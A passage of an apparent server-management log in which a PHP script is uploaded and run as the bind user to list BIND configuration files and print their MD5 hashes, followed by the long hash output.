case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:34:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp376077; rm /tmp/pkp376077'
2025-11-18 16:34:36:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:34:37: Establishing a connection
2025-11-18 16:34:37:
PUT: /tmp/pkp113607
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:34:37:
runuser -l bind -s /bin/bash -c '/tmp/pkp113607; rm /tmp/pkp113607'
2025-11-18 16:34:37:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
